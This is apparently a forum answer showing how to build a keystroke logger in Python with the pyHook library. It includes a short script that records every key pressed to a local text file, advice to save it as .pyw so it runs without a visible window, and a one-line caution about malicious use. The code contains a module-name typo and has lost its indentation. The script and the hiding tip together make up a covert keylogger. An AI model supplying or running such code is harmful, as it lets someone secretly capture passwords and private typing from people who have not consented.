As stated earlier, you can use the library Pyhook that monitors user activity through your keyboard or mouse inputs.
I bumped into a video which shows an effective example of saving keyboard inputs 'silently' using Pyhook:
import pyHook, pythomcom, sys, logging
file_log='C:\\important\\log.txt' #Define onde as entradas serão salvas
def OnKeyboardEvent(event): #Configurações do log
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
The code may be a bit 'old' but it is a clear example of how such a feature would be.
For the script to work silently in fact it is necessary to be saved in the format pyw that makes it run without opening a runscreen.
NOTE: In the video quoted it is said that such technique can be used maliciously so use it consciously.
You can use pyhook to hook the http://pyhook.sourceforge.net/doc_1.5.0keyboard event/
– Anderson Henrique